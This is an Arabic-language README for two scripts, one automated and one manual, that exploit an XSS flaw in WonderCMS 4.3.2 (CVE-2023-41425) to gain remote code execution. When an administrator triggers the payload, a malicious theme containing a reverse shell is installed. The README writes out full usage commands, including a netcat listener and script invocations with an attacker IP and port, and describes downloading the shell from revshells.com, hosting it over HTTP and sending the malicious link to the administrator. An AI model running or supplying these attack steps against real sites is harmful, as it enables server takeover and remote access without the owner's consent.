
ثغرات WonderCMS 4.3.2 لتحويل XSS إلى RCE
نظرة عامة
تستغل هذه البرامج النصية ثغرة XSS (Cross-Site Scripting) في WonderCMS 4.3.2 لتحقيق تنفيذ الأكواد عن بُعد (RCE). عندما يقوم المسؤول بتفعيل حمولة XSS، تقوم تلقائياً بتثبيت شل عكسي على الخادم الهدف من خلال الاستفادة من وحدة سمة ضارة مصممة خصيصاً. يتم الحصول على الشل العكسي من revshells.com وتنفيذه، مما يمنح المهاجم وصولاً عن بُعد للخادم.
جدول المحتويات
المتطلبات الأساسية
لتشغيل أي من البرنامجين النصيين بنجاح، تحتاج إلى الأدوات والشروط التالية:
- قشرة Bash: كلا البرنامجين مكتوبان لبيئات Linux باستخدام قشرة Bash.
- netcat (nc): يُستخدم للاستماع لاتصال الشل العكسي.
- Python3: يُستخدم خادم HTTP بسيط بلغة Python لاستضافة حمولة XSS.
- WonderCMS 4.3.2: يجب أن يعمل الهدف بإصدار ضعيف من WonderCMS.
- تفاعل المسؤول: تتطلب الحمولة أن يقوم المسؤول بتفعيل XSS، مما يؤدي إلى تنفيذ الشل العكسي.
- revshells.com: يتم تنزيل حمولة الشل العكسي ديناميكياً من revshells.com.
البرنامج النصي 1: الاستغلال التلقائي
الإثبات
Pasted image 20241010021603
الميزات
يقوم هذا الإصدار من الاستغلال تلقائياً بالتحقق من وجود مستمع nc نشط، وتنزيل الشل العكسي، وتشغيل خادم HTTP، وإرسال الحمولة، وانتظار قيام المسؤول بتفعيل الشل العكسي.
- إعداد الشل العكسي تلقائياً: يقوم بتنزيل شل عكسي مُنشأ مسبقاً من revshells.com.
- حقن حمولة XSS: يحقن حمولة XSS في نموذج الاتصال بالهدف.
- إدارة خادم HTTP: يقوم تلقائياً بتشغيل خادم HTTP بلغة Python لاستضافة حمولة الشل العكسي.
- التحقق من مستمع nc: يتأكد من أن المستمع يعمل قبل المتابعة.
- إرسال الحمولة تلقائياً: يرسل الحمولة تلقائياً دون تدخل المستخدم.
طريقة الاستخدام
- تأكد من أن مستمع
nc يعمل على المنفذ المحدد:
nc -nvlp <PORT>
- قم بتشغيل البرنامج النصي بالأمر التالي:
./AUTO_CVE-2023-41425 <loginURL> <attacker_IP> <attacker_PORT>
مثال:
./AUTO_CVE-2023-41425 http://localhost/loginURL 192.168.29.165 5252
سير العمل
- تنزيل الشل العكسي: يقوم البرنامج النصي بتنزيل الشل العكسي من
revshells.com.
- تعديل الشل العكسي: يتم تحديث سكربت الشل العكسي بعنوان IP ومنفذ المهاجم.
- إنشاء حمولة ZIP: يتم إنشاء ملف ZIP يحتوي على الشل العكسي.
- صياغة حمولة XSS: يتم إنشاء حمولة XSS تقوم بتثبيت الشل العكسي وحقنها في نموذج الاتصال الضعيف.
- تشغيل خادم HTTP تلقائياً: يقوم البرنامج النصي بتشغيل خادم HTTP بلغة Python لخدمة الحمولة الضارة.
- إرسال الحمولة تلقائياً: يتم إرسال حمولة XSS إلى المسؤول تلقائياً.
البرنامج النصي 2: الاستغلال اليدوي
الإثبات
Pasted image 20241010013048
استخدم الاستغلال الذي يوفره البرنامج النصي في حقل الموقع (Website field)...
Pasted image 20241010013218
الميزات
يتطلب هذا الإصدار من المستخدم إدارة مستمع nc وتفعيل حمولة XSS يدوياً. وهو مناسب أكثر للسيناريوهات التي لا تكون فيها العمليات التلقائية مرغوبة.
- إعداد الشل العكسي يدوياً: يتحمل المستخدم مسؤولية التأكد من أن المستمع يعمل.
- تفعيل XSS يدوياً: يوفر البرنامج النصي الرابط الضار الذي يجب إرساله إلى المسؤول، ولكن يجب تفعيل الحمولة يدوياً.
- إدارة خادم HTTP: يقوم بتشغيل خادم HTTP بلغة Python لاستضافة حمولة XSS.
طريقة الاستخدام
- تأكد من أن مستمع
nc يعمل على المنفذ المحدد:
nc -nvlp <PORT>
- قم بتشغيل البرنامج النصي بالأمر التالي:
./CVE-2023-41425 <loginURL> <attacker_IP> <attacker_PORT>
مثال:
./CVE-2023-41425 http://localhost/loginURL 192.168.29.165 5252
سير العمل
- تنزيل الشل العكسي: يقوم بتنزيل شل عكسي من
revshells.com.
- تعديل الشل العكسي: يقوم بتحديث الشل العكسي بعنوان IP ومنفذ المهاجم.
- إنشاء حمولة ZIP: يقوم بإنشاء ملف ZIP يحتوي على الشل العكسي.
- صياغة حمولة XSS: يقوم بتوليد حمولة XSS تقوم بتثبيت الشل العكسي.
- عرض الرابط الضار: يعرض الرابط الذي يجب إرساله إلى المسؤول لتفعيله.
- تشغيل خادم HTTP: يقوم بتشغيل خادم HTTP بلغة Python لاستضافة الحمولة.
ملاحظات
- تفاعل المسؤول: يعتمد كلا الاستغلالين على قيام مسؤول WonderCMS بتفعيل حمولة XSS عبر زيارة الصفحة الضعيفة. بمجرد التفعيل، يتم إنشاء الشل العكسي مع جهاز المهاجم.
- جدار الحماية/أنظمة كشف التسلل: كن حذراً عند تشغيل هذه الاستغلالات في بيئات محمية بجدران الحماية أو أنظمة كشف التسلل (IDS) التي قد تمنع أو تنبه عن النشاط المشبوه.
- الإفصاح المسؤول: إذا وجدت أن الهدف ضعيف، اتبع دائماً الإرشادات الأخلاقية وأبلغ عن الثغرة للأطراف المناسبة.